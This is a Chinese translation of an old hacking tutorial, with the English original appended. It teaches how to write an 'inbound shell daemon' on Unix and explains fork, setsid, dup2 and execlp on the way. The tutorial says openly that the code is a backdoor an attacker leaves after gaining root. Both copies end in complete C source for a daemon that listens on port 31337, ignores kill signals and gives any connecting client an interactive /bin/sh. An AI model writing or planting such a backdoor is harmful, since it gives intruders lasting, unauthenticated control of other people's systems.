翻译作品之七Coding an Inbound Shell Daemon rev. 1.0
一.前言:
本人翻译系列文章,很担心里面出错的地方会误人,不过心里还是有去做一做的,我是通过自己的理解来翻译的,如果我的理解错误了,或许是我不理解的部分也不经意翻译了,那必然会给各位多多少少的误导,所以我在文章后面都附上原文。请想看对照原文来阅读!最主要是自己去理解,不要单看我一家之言。
二.正文:
]先决条件:
这篇论文假定读者已经阅读和理解turncode 安全开发的论文:Coding a TCP Connect Port Scanner: Step by Step written by modular 或者已经有了套接字编程的基础.
读者同样应该自然地拥有基础的c编程技术.
]介绍:
在危及一个运行unix系统安全之后和获得root,一个熟练的攻击者将会创建一个后门为将来的进入.这篇论文详细阐明编写一个后门通过分解一个必要的一个入站后门的rootshell代码.编写一个后门后台shell是一个容易的过程.这个程序自身是通常不多于100行.它可能开始去增加当新的函数被增加,例如加密,系统确定,和错误控制.
] 处理认证:
一个进程基本上是一个运行的程序,这个运行的程序有一些基本的属性值得注意:
1.一个程序拥有当前执行的一个众所周知的当前的上下环境的状态.
2.存取文件和目录的权限
3.内存和系统资源
4.当前的工作目录
每个进程有一个进程id和一个父进程id.进程id用实际整数来标示.所有进程的父进程有一个进程号就是1.这是众所周知的init进程,系统从核心启动后,init启动任何必要的系统程序和后台程序.当编写一个后台程序时,理解进程ids是怎样工作在父和子进程之间是重要的.
打印一个进程号,对于一个父和子进程需要的函数是getpid() and getppid().虽然,这些函数是不必对于这篇论文最后的程序,但是它会帮助进一步阐明ids进程是怎样工作的,getpid()和 getppid()的原型如下:
---------------------------------------------------------------------------
#include
pid_t getpid(void);
pid_t getppid(void);
---------------------------------------------------------------------------
对于getpid() 和getppid() 原型, unistd.h 头文件是必要的.getpid()返回调用的进程和getppid() 那进程的父进程 象这样:
------------------------------------------------------------------------
#include
#include
#include
int main(void)
{
printf("%d\n", getpid());
printf("%d\n", getppid());
return 0;
}
------------------------------------------------------------------------
]父/子进程:
-进程组
根据早期规定,每个进程有一个进程id.进程能被用一个命令管道来连接,想这样:
modular@visioncode:~/src$ ps -aux |grep -v grep |grep user |awk
'{print $2}' |xargs kill -9
一个相关进程组是提供一个进程组id.为了一次杀死所有这些相关进程,脚本必须能结束组id而不是每个进程id.
-会话
一个相关进程组的系列众所周知是一个会话,会话的领袖是一个会话的发明者.
会话领袖拥有一个进程id.一个会话将会被用做例子,当很多后台程序运行在一个终端和一个终端被关闭,随后将杀死所有的后台进程.
-父/子进程
程序能被写下来增加新的进程从他们自己.这原始的进程是众所周知的一个父进程和任何新的被调用的子进程的进程.为了增加新的进程fork(2)要用到,fork(2)的原型可能是:
---------------------------------------------------------------------------
#include
pid_t fork(void);
---------------------------------------------------------------------------
当fork(2) 调用成功,它会返回一个属于父进程的子进程id.成功返回值是0.
]unix 后台程序
一个后台进程是一个程序不再连接到一个开始它的原始终端会话.为了使一个程序变成一个后台程序,需要几个步骤:
1.fork(2)函数被用来杀死父进程,离开原始命令行或者shell成为子进程控制.这个保证子进程不会成为一个组会话引导者.
2.setsid(2)函数被用来产生子进程和组会话引导者.在这点上,子进程已经从任何控制的终端分离出自己.
一个基本的后台程序的例子可能如下:
------------------------------------------------------------------------------
int main(void)
{
pid_t pid;
if ( (pid = fork()) < 0)
return(-1);
else if (pid != 0)
exit(0); /* parent gets killed here */
/* child process continues on from this point
* setsid(2) makes the child a session leader
* without a controlling terminal
*/
setsid();
/* rest of source code to perform tasks in the background */
}
------------------------------------------------------------------------------
]复制套接字:
dup2(2)函数复制一个文件描述符.使得一个shell成为后台程序后,要调用dup2(2)
三次为了复制套接字的描述符0,1,2.描述符0,1,2分别是标准输入,标准输出和标准错误.那时原始套接字描述符需要关闭.这个允许这个子进程处理套接字方面.用标准输入(0),标准输出(1),标准错误(2).
]exec 函数:
fork(2),正如以前的规定,创建一个完全的新进程,产生一个完全的新pid. exec函数允许一个程序员发起一个程序,这个替代原始的进程;pid保留和原始进程同等的资源。
exec函数传统上用在后门来产生一个shell通过调用/bin/sh.
在以下的例子,execlp(3) 被用来执行sh命令.替代原始shell用一个新的shell并保持相同的pid:
------------------------------------------------------------------------------
#include
#include
#include
int main(void)
{
char args[] = {"/bin/sh", "-i"}; /* arguments for sh */
if(execlp("/bin/sh", args, NULL) == -1)
{
perror("execlp");
exit(EXIT_FAILURE);
}
printf("How did we get here?");
exit(EXIT_SUCCESS);
}
------------------------------------------------------------------------------
execlp(3)取得路径名bin/sh作为它的第一个参数,以下的列表参数,随后是参数列表,最后用null终止.
]入站shell后台例子:
以下的程序是一个可工作的简单后门的运行做为一个后台的例子:
/* vcshell.c - remote daemon shell
* written by: [email protected]
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define PORT 31337 /* port to bind to */
/* ERROR CHECKING */
static void recoil(const char *help) {
if ( errno != 0 ) {
fputs(strerror(errno),stderr); fputs(": ", stderr);
} fputs(help, stderr); fputc('\n', stderr); exit(1);
}
int main (int argc, char *argv[]) {
int socket_listen, socket_connect;
/* server and client file descriptors */
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
socklen_t length; pid_t chpid;
if(( socket_listen = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
recoil("socket()"); return(1);
}
length = sizeof(server_addr);
memset(&server_addr, 0, length);
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(PORT);
/* ignore all events that would kill the process */
signal(SIGCHLD, SIG_IGN); signal(SIGHUP, SIG_IGN);
signal(SIGTERM,SIG_IGN); signal(SIGINT, SIG_IGN);
if((bind( socket_listen, (struct sockaddr *)&server_addr, length))) {
recoil("bind()"); return(2);
} if(listen(socket_listen, 1)) {
recoil("listen()"); return(3);
}
/* fork() into two processes: */
if ( ( chpid = fork()) == (pid_t)-1 ) {
recoil("fork()"); return(4);
} else if (chpid > 0) {
exit(EXIT_SUCCESS); /* kill the parent */
}
else if ( chpid == 0) {
setsid(); /* create a new session and make a daemon
making the child a session leader */
length = sizeof(client_addr); if(( socket_connect =
accept(socket_listen, &client_addr, &length)) < 0) {
recoil("accept()"); abort();
}
/* duplicate file descriptors to refer to original socket */
/* new descriptors gives the capability for user interaction
*/
dup2(socket_connect,0);
dup2(socket_connect,1);
dup2(socket_connect,2);
execlp("sh", "sh", "-i", NULL);
/* shutdown existing socket and
* duplicated sockets together
*/
shutdown(socket_connect,SHUT_RDWR);
}
exit(0);
}
------------------------------------------------------------------------------
三.原文:
Coding an Inbound Shell Daemon
rev. 1.0
_ _
| |_ ___ _ _ ___ ___ ___ _| |___
| _| _| | | | _| . | . | -_|
|_| |_| |___|_|_|___|___|___|___|
/* truncode security development */
http://truncode.org
<[email protected]>
] Prerequisite:
This paper assumes the reader to have already read and understood
the truncode security development paper: Coding a TCP Connect Port Scanner:
Step by Step written by modular or have basic knowledge of socket programming.
The reader should also naturally possess basic C programming skills.
] Introduction:
After compromising a system running UNIX and attaining root, a
skilled attacker will create a backdoor for future logins. This paper
elaborates on coding a backdoor by breaking down the necessary code for an
inbound daemon rootshell. Coding a backdoor daemon shell is a relatively
easy process. The program itself is usually no more than one hundred
lines. It may begin to grow when new functionalities are added such as
encryption, OS definitions, and error control.
] Process Identification:
A process is basically a running program. A running program has a few
basic attributes worth mentioning:
1. A program possesses a current execution status known as
it's current context
2. Access rights to directories and files
3. Memory and system resources
4. Current working directory
Each process has a process ID and a parent process ID. Process IDs
are referred to by using positive integers. The father of all processes
has a process ID of 1. This is known as the init process. After a system
boots from the kernel, init starts up any necessary system programs and
daemons. It is important to understand how process IDs work with parent
and child processes when coding a daemon.
Printing a process ID for parent and child requires functions
getpid() and getppid(). Although, these functions are not needed for this
paper's final program, it will help further clarify how process IDs work.
The synopsis for getpid() and getppid() is as follows:
------------------------------------------------------------------------------
#include
pid_t getpid(void);
pid_t getppid(void);
------------------------------------------------------------------------------
The unistd.h header file is needed by the getpid() and getppid()
prototypes. getpid() returns the calling process and getppid() the parent of
that process like so:
------------------------------------------------------------------------------
#include
#include
#include
int main(void)
{
printf("%d\n", getpid());
printf("%d\n", getppid());
return 0;
}
------------------------------------------------------------------------------
] Parent/Child Processes:
-Process Groups
As stated earlier each process has a process ID. Processes can be
connected in a command pipeline like so:
modular@visioncode:~/src$ ps -aux |grep -v grep |grep user |awk
'{print $2}' |xargs kill -9
A group of related processes are given a process group ID. In
order to kill all these related processes at once, the shell must
terminate the group ID rather than every process ID.
-Sessions
A set of related process groups are known as a session. The
session leader is the originator of the session. This session leader
possesses a session ID. A session would be used for example when many
background processes are running in a terminal and the terminal is killed;
subsequently killing all background processes.
-Parent/child processes
Programs can be written to create new processes from within
themselves. The original process is known as the parent and any new
processes are called child processes. In order to create a new process
fork(2) must be used. The synopsis for fork(2) is:
------------------------------------------------------------------------------
#include
pid_t fork(void);
------------------------------------------------------------------------------
When fork(2) is successful, it will return the process ID of
the child process to the parent process. 0 is returned to the child process.
] UNIX Daemons:
A daemon process is a program no longer attached to the original
terminal session that started it. There are a few basic steps in order to
turn a program into a daemon process:
1. The fork(2) function is used to kill the parent process,
leaving the child control of the original command-line or
shell. This guarantees the child not to be a group session leader.
2. The setsid(2) function is used to make the child process a
process and group session leader. The child has disassociated
itself from any controlling terminal at this point.
A basic example of a daemon might be as follows:
------------------------------------------------------------------------------
int main(void)
{
pid_t pid;
if ( (pid = fork()) < 0)
return(-1);
else if (pid != 0)
exit(0); /* parent gets killed here */
/* child process continues on from this point
* setsid(2) makes the child a session leader
* without a controlling terminal
*/
setsid();
/* rest of source code to perform tasks in the background */
}
------------------------------------------------------------------------------
] Duplicating Sockets:
The dup2(2) function duplicates a file descriptor. After making
the shell into a daemon, it is necessary to have the child process call
dup2(2) three times in order to duplicate the socket on descriptors 0, 1,
2. Descriptors 0, 1, and 2 are standard input, standard output, and
standard error respectively. Then the original socket descriptor needs to
be closed. This allows the child to use standard input ( 0 ), standard
output (1), and standard error (2) with the socket.
] exec functions:
fork(2), as previously stated, creates a completely new process,
generating a completely new PID. The exec functions allow a programmer to
initiate a program, which replaces the original process; the PID stays the
same. An exec function is traditionally used in a backdoor to spawn a
shell by calling /bin/sh.
In the following example, execlp(3) is used to execute the sh command,
replacing the original shell with a new shell while keeping the same PID:
------------------------------------------------------------------------------
#include
#include
#include
int main(void)
{
char args[] = {"/bin/sh", "-i"}; /* arguments for sh */
if(execlp("/bin/sh", args, NULL) == -1)
{
perror("execlp");
exit(EXIT_FAILURE);
}
printf("How did we get here?");
exit(EXIT_SUCCESS);
}
------------------------------------------------------------------------------
execlp(3) takes the pathname to bin/sh as its first argument, followed by
the a list of arguments, and finally terminated with a NULL.
] Inbound Shell Daemon Example:
The following program is a working example of a simple backdoor
which runs as a daemon:
/* vcshell.c - remote daemon shell
* written by: [email protected]
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define PORT 31337 /* port to bind to */
/* ERROR CHECKING */
static void recoil(const char *help) {
if ( errno != 0 ) {
fputs(strerror(errno),stderr); fputs(": ", stderr);
} fputs(help, stderr); fputc('\n', stderr); exit(1);
}
int main (int argc, char *argv[]) {
int socket_listen, socket_connect;
/* server and client file descriptors */
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
socklen_t length; pid_t chpid;
if(( socket_listen = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
recoil("socket()"); return(1);
}
length = sizeof(server_addr);
memset(&server_addr, 0, length);
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(PORT);
/* ignore all events that would kill the process */
signal(SIGCHLD, SIG_IGN); signal(SIGHUP, SIG_IGN);
signal(SIGTERM,SIG_IGN); signal(SIGINT, SIG_IGN);
if((bind( socket_listen, (struct sockaddr *)&server_addr, length))) {
recoil("bind()"); return(2);
} if(listen(socket_listen, 1)) {
recoil("listen()"); return(3);
}
/* fork() into two processes: */
if ( ( chpid = fork()) == (pid_t)-1 ) {
recoil("fork()"); return(4);
} else if (chpid > 0) {
exit(EXIT_SUCCESS); /* kill the parent */
}
else if ( chpid == 0) {
setsid(); /* create a new session and make a daemon
making the child a session leader */
length = sizeof(client_addr); if(( socket_connect =
accept(socket_listen, &client_addr, &length)) < 0) {
recoil("accept()"); abort();
}
/* duplicate file descriptors to refer to original socket */
/* new descriptors gives the capability for user interaction
*/
dup2(socket_connect,0);
dup2(socket_connect,1);
dup2(socket_connect,2);
execlp("sh", "sh", "-i", NULL);
/* shutdown existing socket and
* duplicated sockets together
*/
shutdown(socket_connect,SHUT_RDWR);
}
exit(0);
}
------------------------------------------------------------------------------
本文地址:http://com.8s8s.com/it/it27819.htm